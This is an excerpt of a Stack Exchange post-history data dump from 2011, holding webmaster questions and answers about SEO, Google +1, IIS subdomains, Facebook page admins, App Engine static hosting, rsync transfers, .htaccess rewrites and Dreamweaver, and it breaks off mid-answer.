  <row Id="32220" PostHistoryTypeId="17" PostId="13852" RevisionGUID="23183cf4-5788-46bb-8278-d84a5abb02f6" CreationDate="2011-05-15T20:54:16.233" UserId="-1" Comment="from http://stackoverflow.com/questions/6010683/use-htaccess-to-rewrite-requests-for-a-png-as-a-php-get-variable" Text="" />
  <row Id="32221" PostHistoryTypeId="2" PostId="13855" RevisionGUID="9c098430-85a5-4c80-b0db-01cc4ff4702f" CreationDate="2011-05-15T21:03:28.037" UserId="5464" Text="i read something similar as well. &#xD;&#xA;&#xD;&#xA;As far as i understand it +1 only works with users singed into Google Accounts so it will depend on the number of people that use your site and Google accounts at the same time (or search). &#xD;&#xA;&#xD;&#xA;+1 is part of Google's social play so if people +1 a site it is likely to have an impact their personal results in future and possibly that of there connections within other Google services. Its also feasible for Google to look at +1 as some sort of positive indicator for a site and in conjunction with a persons existing profile within Google services give that some form of weighting. I don't see that being much different to having a lot of people &quot;like&quot; or &quot;tweet&quot; about your site both of which are already used with the various search engines ( Google and Bing / Yahoo). &#xD;&#xA;&#xD;&#xA;As +1 has not been rolled out yet with the site buttons etc. Its very much guess work as to the overall impact having none, some or a lot of +1's will have. If it was me i would focus on all the normal stuff with regard to running a good site while keeping an eye on +1 when released. " />
  <row Id="32222" PostHistoryTypeId="2" PostId="13856" RevisionGUID="ea336511-fe5b-43dd-8ed5-9c347912600a" CreationDate="2011-05-15T21:03:59.597" UserId="1253" Text="[Yes](http://www.google.com/m/url?client=ms-android-verizon&amp;ei=iz_QTdiYCtPSlQf57uKcAw&amp;gl=us&amp;hl=en&amp;q=http://googlewebmastercentral.blogspot.com/2010/08/google-now-indexes-svg.html&amp;source=android-browser-type&amp;ved=0CBYQFjAA&amp;usg=AFQjCNE0tQKxKtleEl2wnqIcSlDRpEBWhw)" />
  <row Id="32223" PostHistoryTypeId="6" PostId="13848" RevisionGUID="1e7b8d74-ffd6-461d-b77b-6cd21db78f2a" CreationDate="2011-05-15T21:04:29.470" UserId="1253" Comment="edited tags" Text="&lt;seo&gt;&lt;indexing&gt;&lt;svg&gt;" />
  <row Id="32224" PostHistoryTypeId="25" PostId="13852" RevisionGUID="f81b976c-9277-4e7e-a3df-3d53bd79e821" CreationDate="2011-05-15T21:12:02.313" Comment="http://twitter.com/#!/StackWebmasters/status/69872690261004290" />
  <row Id="32226" PostHistoryTypeId="2" PostId="13858" RevisionGUID="c0121e96-4123-45ba-96ce-d914f383fe05" CreationDate="2011-05-15T21:34:05.770" UserId="6634" Text="Of course it will count. Google's search algorithm is insanely sophisticated, with more signals than any single person can really grasp, and google didn't get to be the best in search by ignoring new potential ranking factors.&#xD;&#xA;&#xD;&#xA;But of course it will not be as simple as &quot;the more +1s, the stronger the site / better the page will rank for a query.&quot; That's too easy to game, and google's search engineers are not morons. I bet important factors are going to include the age/freshness of the +1s and their origin - whose accounts, how those accounts are connected to the site owners' accounts, etc." />
  <row Id="32227" PostHistoryTypeId="5" PostId="13846" RevisionGUID="6ec3cddd-a154-4089-951a-059cafd59328" CreationDate="2011-05-15T23:47:36.670" UserId="7405" Comment="added 2 characters in body" Text="I think if I understand the question correctly, you currently have a website setup (www.website.com) that is currently an ASP.Net application.  When a user enters 'subdomain.website.com' you want the exact same website to respond, but within the code of the application some function/features/content/etc. would be changed based on that particular subdomain?&#xD;&#xA;&#xD;&#xA;It sounds like all you need is for a CNAME DNS record to be created and then the host header for that subdomain added to your website.  Your application would then handle the rest.  A subdomain is typically a separate website.  Many control panels will create a folder and then associate that folder as the document root of the site (essentially creating a separate IIS website for the subdomain that points to the subfolder).  In your case, it sounds like the document roots are being set something like this:&#xD;&#xA;&#xD;&#xA;IIS site 1 = www.website.com:  document root = (some-filesystem-path)\webroot&#xD;&#xA;&#xD;&#xA;IIS site 2 = subdomain.website.com:  document root = (some-filesystem-path)\webroot\subdomain&#xD;&#xA;&#xD;&#xA;What you really want to have happen is to only have a single IIS website with multiple host headers.  It may be that you just need to setup an alias rather than a subdomain in your control panel." />
  <row Id="32228" PostHistoryTypeId="2" PostId="13859" RevisionGUID="dbba6290-f300-452e-a374-312b3e727c70" CreationDate="2011-05-16T00:07:40.130" UserId="7405" Text="Since Google Apps is now setup, you'll want to activate Google Sites on the domain.  You can associate a specific URL with your Google Sites location (such as www.yourdomain.com).  There is plenty of help documentation available.  Here are a few:&#xD;&#xA;&#xD;&#xA;[Google Sites Help][1]&#xD;&#xA;&#xD;&#xA;[Creating a Site][2]&#xD;&#xA;&#xD;&#xA;[Map a site to your own URL][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/pages/&#xD;&#xA;  [2]: http://www.google.com/support/pages/bin/answer.py?hl=en&amp;answer=150461&amp;ctx=cb&amp;src=cb&amp;cbid=1umhfhhe8ls6y&amp;cbrank=2&#xD;&#xA;  [3]: http://www.google.com/support/pages/bin/answer.py?hl=en&amp;answer=99448&amp;ctx=cb&amp;src=cb&amp;cbid=1rxvel1vjn9nm&amp;cbrank=1" />
  <row Id="32229" PostHistoryTypeId="25" PostId="13850" RevisionGUID="3f0cdc24-85fa-49e2-94ea-94b8fff9de2a" CreationDate="2011-05-16T00:12:03.333" Comment="http://twitter.com/#!/StackWebmasters/status/69917992372285440" />
  <row Id="32230" PostHistoryTypeId="2" PostId="13860" RevisionGUID="1cfdf215-86b3-493f-819e-7d9dd99ca0a1" CreationDate="2011-05-16T00:31:33.220" UserId="7405" Text="I believe what you want to do is change the content disposition response header in the output you send back to the user.  Have a look at the [HttpResponse.TransmitFile][1] method.  [Here][2] is an additional article that may help too (can probably find several others that are similar).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://msdn.microsoft.com/en-us/library/12s31dhy%28v=VS.100%29.aspx&#xD;&#xA;  [2]: http://www.west-wind.com/weblog/posts/2007/May/21/Downloading-a-File-with-a-Save-As-Dialog-in-ASPNET" />
  <row Id="32231" PostHistoryTypeId="2" PostId="13861" RevisionGUID="809c5ea8-ca61-4b95-9560-adaee123cbd0" CreationDate="2011-05-16T01:25:33.577" UserId="7520" Text="Suppose I have a Facebook page for a business or organization, and I want to delegate posting responsibilities to an employee. As far as I can tell, the only way to do this is to give that employee full admin status, which seems to allow removal of other admins and even permanent deletion of the page. How can I delegate responsibilities to an employee without opening up this sort of risk?&#xD;&#xA;" />
  <row Id="32232" PostHistoryTypeId="1" PostId="13861" RevisionGUID="809c5ea8-ca61-4b95-9560-adaee123cbd0" CreationDate="2011-05-16T01:25:33.577" UserId="7520" Text="Delegating responsibilities for business page on Facebook" />
  <row Id="32233" PostHistoryTypeId="3" PostId="13861" RevisionGUID="809c5ea8-ca61-4b95-9560-adaee123cbd0" CreationDate="2011-05-16T01:25:33.577" UserId="7520" Text="&lt;facebook&gt;&lt;social-networks&gt;&lt;administration&gt;" />
  <row Id="32234" PostHistoryTypeId="2" PostId="13862" RevisionGUID="fcc0eece-9706-4b4b-b5d5-a8ebda147285" CreationDate="2011-05-16T01:40:03.667" UserId="5056" Text="If you look at the risks, consider that, since you're giving this person full authority to basically add any content to the Facebook page, deleting admins and deleting the page is a far cry from the other types of damage that this person could do to your business.&#xD;&#xA;&#xD;&#xA;Even if this person only had posting rights, whose to say he/she doesn't go in and curse at your followers or post content that destroys your business's reputation? In fact, what is preventing them from doing bad things to your business that are outside the realm of Facebook or the Web?&#xD;&#xA;&#xD;&#xA;With that said, you can give *all* users the ability to post content on your page, but those users won't be able to delete your site. Unfortunately, there is not a way to give posting ability to only *some* users without making those users &quot;Admin&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32235" PostHistoryTypeId="2" PostId="13863" RevisionGUID="e3f8d98d-e058-4bf0-962f-1e99b8201bba" CreationDate="2011-05-16T01:51:32.527" UserId="7520" Text="I've found one solution, but it's suboptimal - Facebook provides &quot;mobile&quot; posting via a randomly-assigned email address. This address can be given to anybody you trust to post, without giving them any other permissions to modify the page, and it can be changed at any time if it's compromised.&#xD;&#xA;&#xD;&#xA;I'd still like to know if there's a better solution...&#xD;&#xA;" />
  <row Id="32237" PostHistoryTypeId="5" PostId="13862" RevisionGUID="23fd45f5-78cc-4f22-a50b-40cdf3cdafaa" CreationDate="2011-05-16T02:10:09.643" UserId="5056" Comment="made answer more objective" Text="You can give *all* users the ability to post content on your page, but those users won't be able to delete your site. &#xD;&#xA;&#xD;&#xA;Unfortunately, there is not a way to give posting ability to only *some* users without making those users &quot;Admin&quot;. &#xD;&#xA;&#xD;&#xA;This has of course upset quite a few people. See this thread for more information:&#xD;&#xA;http://www.facebook.com/permalink.php?story_fbid=130416483643948&amp;id=10381469571&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32238" PostHistoryTypeId="25" PostId="13861" RevisionGUID="e4a0b433-980e-4fa0-b373-cc59c255d3c5" CreationDate="2011-05-16T03:12:04.590" Comment="http://twitter.com/#!/StackWebmasters/status/69963295863480320" />
  <row Id="32239" PostHistoryTypeId="2" PostId="13864" RevisionGUID="0c654c6c-0e43-42be-98ff-32fcb62d34b0" CreationDate="2011-05-16T03:20:55.767" UserId="1009" Text="**Google App Engine (GAE) was designed to serve dynamic pages, but it is possible to set it up to serve static content:**&#xD;&#xA;&#xD;&#xA;1. Install the [GAE SDK][1] for your platform.&#xD;&#xA;2. &quot;Create New Application...&quot; from GAE Launcher.&#xD;&#xA;3. Create a sub-folder named 'static' in the project directory that was created in step 4. Put your static content (HTML + JS + CSS + image files) in this folder.&#xD;&#xA;5. Edit the app.yaml file in your GAE application folder like the example below.&#xD;&#xA;6. Optionally test your app works locally.&#xD;&#xA;7. Publish your app to GAE following [their instructions][2].&#xD;&#xA;&#xD;&#xA;*Note these instructions are for GAE 1.4.3; some details may have changed with the new 1.5.0 version.*&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;**app.yaml:**&#xD;&#xA;&#xD;&#xA;    application: YOUR_GAE_APP_ID&#xD;&#xA;    version: 1&#xD;&#xA;    runtime: python&#xD;&#xA;    api_version: 1&#xD;&#xA;    &#xD;&#xA;    handlers:&#xD;&#xA;    # maps requests without filenames to requested/path/index.html&#xD;&#xA;    - url: (.*)/&#xD;&#xA;      static_files: static\1/index.html&#xD;&#xA;      upload: static/index.html&#xD;&#xA;       &#xD;&#xA;    - url: /&#xD;&#xA;      static_dir: static&#xD;&#xA;&#xD;&#xA;Alternatively, for a temporary &quot;coming soon&quot; page, it may be sufficient to simply start with the default app.yaml and configure the [custom (404) error responses][3] to serve the &quot;coming soon&quot; page. Make sure the app's root index page is not handled/cannot be found.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/appengine/downloads.html#Google_App_Engine_SDK_for_Python&#xD;&#xA;  [2]: http://code.google.com/appengine/docs/python/tools/uploadinganapp.html#Uploading_the_App&#xD;&#xA;  [3]: http://code.google.com/appengine/docs/python/config/appconfig.html#Custom_Error_Responses" />
  <row Id="32240" PostHistoryTypeId="2" PostId="13865" RevisionGUID="6d9d01c2-84d4-4606-8402-fefad93d50b9" CreationDate="2011-05-16T03:35:58.120" UserId="7446" Text="**EDIT:** I just saw that you're using Windows.  You'll need something like Cygwin to emulate the Unix toolkit on Windows.  Alternatively, you could use something like WinSCP.&#xD;&#xA;&#xD;&#xA;As alexus pointed out, SCP is a great option.  Another option is Unix/Linux's *rsync* (available on almost all Unix-based machines).  It's a utility that's frequently used for back-ups.&#xD;&#xA;&#xD;&#xA;For transferring between two servers, abc.com and xyz.com:&#xD;&#xA;&#xD;&#xA;`rsync -avzPe ssh user@xyz.com:/source/ /destination/on/abc`&#xD;&#xA;&#xD;&#xA;A more practical example:&#xD;&#xA;&#xD;&#xA;`rsync -avzPe ssh admin@xyz.com:~/public_html/ ~/public_html/`&#xD;&#xA;&#xD;&#xA;**A few notes:** The above example assumes you're logged into server *abc.com*.  If you desire to go the other way, switch the arguments. The user (*admin* in this case) also needs to have appropriate SSH access. Finally, the flags that I used aren't necessarily the only ones that will work, they're just ones that I tend to use.  You can technically do without *-v* and *-P*, you'll just see less useful console output." />
  <row Id="32241" PostHistoryTypeId="5" PostId="13849" RevisionGUID="3cef6997-e8ce-474f-b1be-bfb0eb606f20" CreationDate="2011-05-16T03:57:02.893" UserId="-1" Comment="all directives in .htscess are in new line" Text="I have configured virtual host in my local machine and every thing working fine .&#xD;&#xA;Now I want to use SEO friendly urls. To achive this I have used .htacess file .&#xD;&#xA;&#xD;&#xA;My virtual host configuration is :&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;    &#xD;&#xA;        DocumentRoot &quot;C:/xampp/htdocs/ypp&quot;&#xD;&#xA;        ServerName ypp.com&#xD;&#xA;        ServerAlias www.ypp.com&#xD;&#xA;        ##ErrorLog &quot;logs/dummy-host2.localhost-error.log&quot;&#xD;&#xA;        ##CustomLog &quot;logs/dummy-host2.localhost-access.log&quot; combined&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;and my .htacess file has :&#xD;&#xA;&#xD;&#xA;    AllowOverride All&#xD;&#xA;    RewriteEngine On &#xD;&#xA;    RewriteBase /ypp/ &#xD;&#xA;    RewriteRule ^/browse$ /browse.php &#xD;&#xA;    RewriteRule ^/browse/([a-z]+)$ /browse.php?cat=$1 &#xD;&#xA;    RewriteRule ^/browse/([a-z]+)/([a-z]+)$ /browse.php?cat=$1&amp;subcat=$2 &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The above .htacess setting is not working .&#xD;&#xA;After that I have modigied my virtual host setting and it is working .&#xD;&#xA;new virtual host setting is :&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;    &#xD;&#xA;        RewriteEngine On&#xD;&#xA;        RewriteRule ^/browse$ /browse.php&#xD;&#xA;        RewriteRule ^/browse/([a-z]+)$ /browse.php?cat=$1&#xD;&#xA;        RewriteRule ^/browse/([a-z]+)/([a-z]+)$ /browse.php?cat=$1&amp;subcat=$2&#xD;&#xA;        ServerAdmin postmaster@dummy-host2.localhost&#xD;&#xA;            DocumentRoot &quot;C:/xampp/htdocs/ypp&quot;&#xD;&#xA;        ServerName ypp.com&#xD;&#xA;        ServerAlias www.ypp.com&#xD;&#xA;        ##ErrorLog &quot;logs/dummy-host2.localhost-error.log&quot;&#xD;&#xA;        ##CustomLog &quot;logs/dummy-host2.localhost-access.log&quot; combined&#xD;&#xA;        &lt;Directory &quot;C:/xampp/htdocs/ypp&quot;&gt;&#xD;&#xA;        	AllowOverride All&#xD;&#xA;        &lt;/Directory&gt;&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Please guide me where I am wrong in .htacess file for url rewriting . I donot want to use setting in virtual host because for every change I have restart apache .&#xD;&#xA;" />
  <row Id="32242" PostHistoryTypeId="24" PostId="13849" RevisionGUID="3cef6997-e8ce-474f-b1be-bfb0eb606f20" CreationDate="2011-05-16T03:57:02.893" Comment="Proposed by 180.178.22.197|558a9b5b-3c2a-4d6c-b5dd-fb7ac6f5013f approved by 1253 edit id of 286" />
  <row Id="32243" PostHistoryTypeId="2" PostId="13866" RevisionGUID="3ff84423-7384-4bb5-b38e-c4c794c7dbf3" CreationDate="2011-05-16T04:20:52.480" UserId="1010" Text="&gt; I want to give users an option to download the web page of my website they are currently viewing.&#xD;&#xA;&#xD;&#xA;It sounds like you're trying to convert your HTML output into PDF output, is this correct?&#xD;&#xA;&#xD;&#xA;One of the best tools I've encountered for this is [wkhtmltopdf](http://code.google.com/p/wkhtmltopdf/).  It's built on top of the Webkit rendering engine, the same engine that powers Safari, Chrome and the built-in browsers on Android devices and the iPhone.&#xD;&#xA;&#xD;&#xA;[Usage is pretty darn simple](http://code.google.com/p/wkhtmltopdf/wiki/Usage) -- just a simple shell command pointing it at the HTML file in question and giving it the desired output filename.  There are [more options](http://madalgo.au.dk/~jakobt/wkhtmltoxdoc/wkhtmltopdf_0.10.0_rc2-doc.html) if you need them.  I'm not sure how you'd go about actually making shell calls in the land of ASP.NET though.&#xD;&#xA;&#xD;&#xA;While [versions for Windows](http://code.google.com/p/wkhtmltopdf/downloads/list) are available, I've only ever used it in a Linux environment, so YMMV.  You will obviously need the ability to install programs on your server, which implies Administrator access." />
  <row Id="32244" PostHistoryTypeId="2" PostId="13867" RevisionGUID="8a45fbe6-d52c-4fa0-b135-922d590e44ae" CreationDate="2011-05-16T04:39:52.067" UserId="4502" Text="Most major CMS applications have a plugin that allows for posting items to FB accounts. Assuming you also have an actual site for your business and it's running on top of some system, this might be something to look into. You'd just create a section, content type, or whatever's appropriate to your particular CMS, limit access to it, and post from there instead." />
  <row Id="32245" PostHistoryTypeId="2" PostId="13868" RevisionGUID="3d38daef-7b11-4e23-906f-57c2f76d1416" CreationDate="2011-05-16T04:46:24.290" UserId="7522" Text="A few days ago I added Google Apps to my site to try it out and see how I liked it. However, it wasn't really going to fit my needs, so I decided to remove it earlier this morning. &#xD;&#xA;&#xD;&#xA;Before I installed Google Apps I was able to type in &quot;www.mysite.com&quot; or just &quot;mysite.com&quot; and get to the same place. However, after installing GApps and removing them, just typing in &quot;mysite.com&quot; no longer works. &quot;www.mysite.com&quot; works fine, though. I think GApps may have broken my URL, but maybe it just takes a few days to propagate the changes. Do any of you have any experience with this or know if the GApps (or removal of GApps) changes take awhile to go into effect?&#xD;&#xA;&#xD;&#xA;The error that I get when I just type in &quot;mysite.com&quot; is the following:&#xD;&#xA;&#xD;&#xA;Google Error&#xD;&#xA;&#xD;&#xA;404 - Not found. The requested URL / was not found on this server.&#xD;&#xA;&#xD;&#xA;Any help would be greatly appreciated.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Edit: Also, for the record, I cannot SSH/SFTP in to &quot;mysite.com&quot;, but I can do so to &quot;www.mysite.com&quot; Not sure if this helps, but I figure the more information the better." />
  <row Id="32246" PostHistoryTypeId="1" PostId="13868" RevisionGUID="3d38daef-7b11-4e23-906f-57c2f76d1416" CreationDate="2011-05-16T04:46:24.290" UserId="7522" Text="After installing and then removing Google Apps from my website, entering the URL without &quot;www&quot; no longer works.." />
  <row Id="32247" PostHistoryTypeId="3" PostId="13868" RevisionGUID="3d38daef-7b11-4e23-906f-57c2f76d1416" CreationDate="2011-05-16T04:46:24.290" UserId="7522" Text="&lt;google&gt;&lt;html&gt;&lt;web-development&gt;&lt;websites&gt;&lt;google-apps&gt;" />
  <row Id="32248" PostHistoryTypeId="2" PostId="13869" RevisionGUID="f612f3c4-5811-425f-88a3-d761be9ad793" CreationDate="2011-05-16T04:48:55.140" UserId="7523" Text="I'm starting a little web development company mainly using rails, but we've also got clients with existing joomla and php code.&#xD;&#xA;&#xD;&#xA;How do people generally package hosting into web development quotes?  Is it usually a pass-through cost, or is it common to charge an additional fee?&#xD;&#xA;&#xD;&#xA;Also, since we do want to outsource the hosting, but we realise there'll most often be some configuration and maintenance to do, we're wondering how the hosting account is generally managed by development firms?  Does each customer have a master account, or are there setups that allow some sort of hierarchy?" />
  <row Id="32249" PostHistoryTypeId="1" PostId="13869" RevisionGUID="f612f3c4-5811-425f-88a3-d761be9ad793" CreationDate="2011-05-16T04:48:55.140" UserId="7523" Text="How should I offer hosting to my clients?" />
  <row Id="32250" PostHistoryTypeId="3" PostId="13869" RevisionGUID="f612f3c4-5811-425f-88a3-d761be9ad793" CreationDate="2011-05-16T04:48:55.140" UserId="7523" Text="&lt;web-hosting&gt;" />
  <row Id="32251" PostHistoryTypeId="2" PostId="13870" RevisionGUID="151cd732-afeb-4e04-9537-505976c440d9" CreationDate="2011-05-16T05:18:24.497" UserId="7526" Text="I had asked this question on ServerFault, but nobody answered satisfactorily, so I re-ask here.&#xD;&#xA;&#xD;&#xA;I want a lightweight webserver. The requirements are:&#xD;&#xA;&#xD;&#xA;  * PHP support&#xD;&#xA;  * HTTPS support&#xD;&#xA;  * Virtual domains (we have some domains that will point to the same IP address)&#xD;&#xA;  * Actively developed (to patch security issue etc.)&#xD;&#xA;  * Runs on Linux (but no need for binary packages; if I have to compile it from source, so be it)&#xD;&#xA;&#xD;&#xA;We don't need URL rewriting ability; SEO has approximately *zero* priority.&#xD;&#xA;&#xD;&#xA;Between Nginx, Cherokee, and Hiawatha, can you provide me with the pro's/con's of each?&#xD;&#xA;&#xD;&#xA;Or can you recommend something better?&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;" />
  <row Id="32252" PostHistoryTypeId="1" PostId="13870" RevisionGUID="151cd732-afeb-4e04-9537-505976c440d9" CreationDate="2011-05-16T05:18:24.497" UserId="7526" Text="Lightweight PHP-supporting webserver: Nginx, Cherokee, or Hiawatha?" />
  <row Id="32253" PostHistoryTypeId="3" PostId="13870" RevisionGUID="151cd732-afeb-4e04-9537-505976c440d9" CreationDate="2011-05-16T05:18:24.497" UserId="7526" Text="&lt;webserver&gt;&lt;nginx&gt;" />
  <row Id="32254" PostHistoryTypeId="2" PostId="13871" RevisionGUID="3f457b0f-f56d-454b-8fc3-5eef30ab3d9b" CreationDate="2011-05-16T05:26:10.233" UserId="7304" Text="Develop a backend for your Facebook page using the [Facebook API](http://developers.facebook.com/)." />
  <row Id="32257" PostHistoryTypeId="2" PostId="13873" RevisionGUID="0971181a-8d72-40fd-b8d4-174b048341d4" CreationDate="2011-05-16T05:53:06.887" UserId="7304" Text="When do I want a search engine's spider to run across my RSS feed link?&#xD;&#xA;&#xD;&#xA; - Before the heading (not saying header tag..)&#xD;&#xA; - During the heading&#xD;&#xA; - During the main content&#xD;&#xA; - During the footer&#xD;&#xA; - After the footer&#xD;&#xA;  - Completely irrelevant&#xD;&#xA;  - Other&#xD;&#xA;&#xD;&#xA;And why?&#xD;&#xA;&#xD;&#xA;As I understand it, it wont really matter much where the link/button *displays* but where on the page it is written in the code." />
  <row Id="32258" PostHistoryTypeId="1" PostId="13873" RevisionGUID="0971181a-8d72-40fd-b8d4-174b048341d4" CreationDate="2011-05-16T05:53:06.887" UserId="7304" Text="What is considered the optimal placement of a link to an RSS feed for SEO?" />
  <row Id="32259" PostHistoryTypeId="3" PostId="13873" RevisionGUID="0971181a-8d72-40fd-b8d4-174b048341d4" CreationDate="2011-05-16T05:53:06.887" UserId="7304" Text="&lt;seo&gt;&lt;rss&gt;&lt;optimization&gt;" />
  <row Id="32260" PostHistoryTypeId="25" PostId="13848" RevisionGUID="4b2b6b6a-4a6c-4810-be68-bdab708ef66c" CreationDate="2011-05-16T06:12:05.143" Comment="http://twitter.com/#!/StackWebmasters/status/70008597144276992" />
  <row Id="32261" PostHistoryTypeId="2" PostId="13874" RevisionGUID="1c6cdc90-4ab1-4441-9363-17e52dacbb9a" CreationDate="2011-05-16T06:19:28.737" UserId="7304" Text="I will often split these costs up or else use an affiliate program with your preferred host. Hosting tends to come at a monthly, quarterly or yearly fee. &#xD;&#xA;&#xD;&#xA;One method is to lease a dedicated server from a hosting company and set it up the same way many hosts do to provide multiple **virtual servers**. Fee should be more-or-less based on what percentage of system resources and bandwidth each client is going to consume.&#xD;&#xA;&#xD;&#xA;For example, if Client A needs 50% of your server and Clients B, C, D, E, F and G each need 10% then you need to be able to recuperate most of *your* leasing fees from Client A to pay for your dedicated server.&#xD;&#xA;&#xD;&#xA;If you do this it is often simply a matter of running multiple websites from one host and sectioning each of them off. &#xD;&#xA;&#xD;&#xA;Sometimes they can however easily share various resources. You don't really need to have 6 instances of MySQL running for instance and you can have a control panel which understands which user is logged in." />
  <row Id="32262" PostHistoryTypeId="17" PostId="13876" RevisionGUID="73f15577-4279-45eb-9b2b-682e36a83b88" CreationDate="2011-05-16T06:47:09.073" UserId="-1" Comment="from http://superuser.com/questions/283857/rk-domain-registration/283861#283861" Text="" />
  <row Id="32263" PostHistoryTypeId="17" PostId="13877" RevisionGUID="b3ea0339-ce09-48f2-942e-e3c89f00363f" CreationDate="2011-05-16T06:47:09.073" UserId="-1" Comment="from http://superuser.com/questions/283857/rk-domain-registration/283862#283862" Text="" />
  <row Id="32264" PostHistoryTypeId="2" PostId="13876" RevisionGUID="5ee05218-16ee-48cc-b5e6-d06a01373d58" CreationDate="2011-05-15T17:30:29.693" UserDisplayName="Simon Sheehan" Text="After a quick Google search, it appears to me that there is no such thing as a .rk domain. You may have to go to one of those &quot;custom&quot; domains registrations, but it would cost a LOT likely. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Edit: Revised in comments." />
  <row Id="32265" PostHistoryTypeId="2" PostId="13877" RevisionGUID="3f3bea4d-797a-4be3-8d86-05f9ec8776cb" CreationDate="2011-05-15T17:37:30.960" UserDisplayName="Tamer" Text="I remember reading once on ICANN's website that &quot;custom&quot; domain registrations are not yet finalized and cannot be bought until some time this summer." />
  <row Id="32266" PostHistoryTypeId="2" PostId="13875" RevisionGUID="3d913e8f-652e-49eb-abc8-fc44d18a0853" CreationDate="2011-05-15T17:27:59.910" UserDisplayName="tugberk" Text="Anybody knows where I can get .rk domains? Looks like nowhere so far: s any idea?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32267" PostHistoryTypeId="1" PostId="13875" RevisionGUID="3d913e8f-652e-49eb-abc8-fc44d18a0853" CreationDate="2011-05-15T17:27:59.910" UserDisplayName="tugberk" Text=". Rk domain registration" />
  <row Id="32268" PostHistoryTypeId="3" PostId="13875" RevisionGUID="3d913e8f-652e-49eb-abc8-fc44d18a0853" CreationDate="2011-05-15T17:27:59.910" UserDisplayName="tugberk" Text="&lt;domains&gt;&lt;domain-names&gt;&lt;domain-registrar&gt;" />
  <row Id="32269" PostHistoryTypeId="17" PostId="13875" RevisionGUID="37c0bfdc-5f15-4f46-89cf-f435b654cdf0" CreationDate="2011-05-16T06:47:09.073" UserId="-1" Comment="from http://superuser.com/questions/283857/rk-domain-registration" Text="" />
  <row Id="32270" PostHistoryTypeId="2" PostId="13878" RevisionGUID="63495bfc-b86b-4947-9989-678c53baaacf" CreationDate="2011-05-16T07:23:54.623" UserId="7527" Text="000webhost is not bad but dont get lured into their other company,Hosting 24.It has a bad reputation. And there s no ads at all.I was even impressed for a free service." />
  <row Id="32271" PostHistoryTypeId="2" PostId="13879" RevisionGUID="f00c4ae3-f878-427d-ba8d-fb7732835d9b" CreationDate="2011-05-16T07:59:14.157" UserId="7528" Text="Some background: I work in an internet marketing firm. My manager and I were just talking, and he brought up that some of our clients have complained that my web pages don't display &quot;correctly&quot; in Dreamweaver when they go to edit them after we've delivered (adding SEO tags and such, I imagine). Apparently, this is a serious concern of theirs. He, also, wants me to code in a way that will display in Dreamweaver just as it will display in the browser, as on the rare occasion that I'm not here, he wants to be able to make changes as needed. (He can't code HTML or even read it well)&#xD;&#xA;&#xD;&#xA;Now, I put on my serious face really quickly because there have been times in the past when  I thought he and I were on the same page with stuff like this, and I'd laugh at the joke, and he'd get mad because - ba dum dum tssh - it hadn't been a joke.&#xD;&#xA;&#xD;&#xA;So now he's seriously asking me to not only code in Dreamweaver, but to find a way to code in Dreamweaver where what you see in display view will be identical to what the browser shows. Here's my question:&#xD;&#xA;&#xD;&#xA;Am I just being a text editor snob about this? I haven't used DW in a long time - sure I cracked it open just now to look at my code in it; found all the things I hated about it five years ago to still be there: slow response times, unpredictable display behavior, a UI based on a visual metaphor that is just awkward to work with, lackluster text editor, etc etc - but I could just be suffering from some sort of pernicious bias. I'm open to that possibility. Just like I'm open to the possibility that my clients and manager are out of their minds. I just need an outside opinion so I can choose the best (in an objective sense) way to handle the situation.&#xD;&#xA;&#xD;&#xA;Personally, I was under the impression that Dreamweaver's design view was never meant to be an accurate display of content, just a kind of &quot;just good enough&quot; halfway point to enable non-coders to drag and drop instead of writing code. &#xD;&#xA;&#xD;&#xA;I should probably add that I don't design the web pages, the designers do, and the designers know less HTML than my manager does, so they will often obliviously put me in a position where I've got to pull off some fairly acrobatic coding to make their designs work, making it even LESS likely that I will be able to deliver pages that are simultaneously true to design, browser, AND Dreamweaver's ham-fisted rendering. &#xD;&#xA;&#xD;&#xA;Opinions? Am I being unreasonable here? Or am I correct in thinking that this is either not possible, not feasible, or simply a completely unnecessary condition that will in the end add very little value in return for the extra time, heartbreak, and head-to-desk injuries I will incur?" />
  <row Id="32272" PostHistoryTypeId="1" PostId="13879" RevisionGUID="f00c4ae3-f878-427d-ba8d-fb7732835d9b" CreationDate="2011-05-16T07:59:14.157" UserId="7528" Text="Is it possible to code in such a way that Dreamweaver will display it same as the browser?" />
  <row Id="32273" PostHistoryTypeId="3" PostId="13879" RevisionGUID="f00c4ae3-f878-427d-ba8d-fb7732835d9b" CreationDate="2011-05-16T07:59:14.157" UserId="7528" Text="&lt;website-design&gt;" />
  <row Id="32275" PostHistoryTypeId="2" PostId="13880" RevisionGUID="c5aeb399-10b4-4a42-949d-ab8ce07392bf" CreationDate="2011-05-16T09:02:45.640" UserId="4502" Text="[Why are you having clients/end users edit documents in Dreamweaver? But, anyway:]&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;Personally, I was under the impression that Dreamweaver's design view was never meant to be an accurate display of content,&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;This is more or less correct. Design view and live view are relatively close and do get better from version to version, but there's no promise they're perfect. They're meant to be convenient approximations for design and coding purposes, not replacements for actual browser testing, etc. [...or for clients to be seeing, because they're not likely to understand that distinction.]&#xD;&#xA;&#xD;&#xA;Which brings us to the more important point that this request just doesn't make sense. (You'll probably have to use different words than that when you have this argument with your boss.)  &#xD;&#xA;There *is* no &quot;the&quot; browser for you to be matching. Dreamweaver's embedded rendering engine is WebKit, sure. But whatever version is in DW is not necessarily in sync with whatever version of Safari is out at any given moment, which isn't necessarily in sync with whatever version of Chrome is out this week. In fact, you can be *sure* they 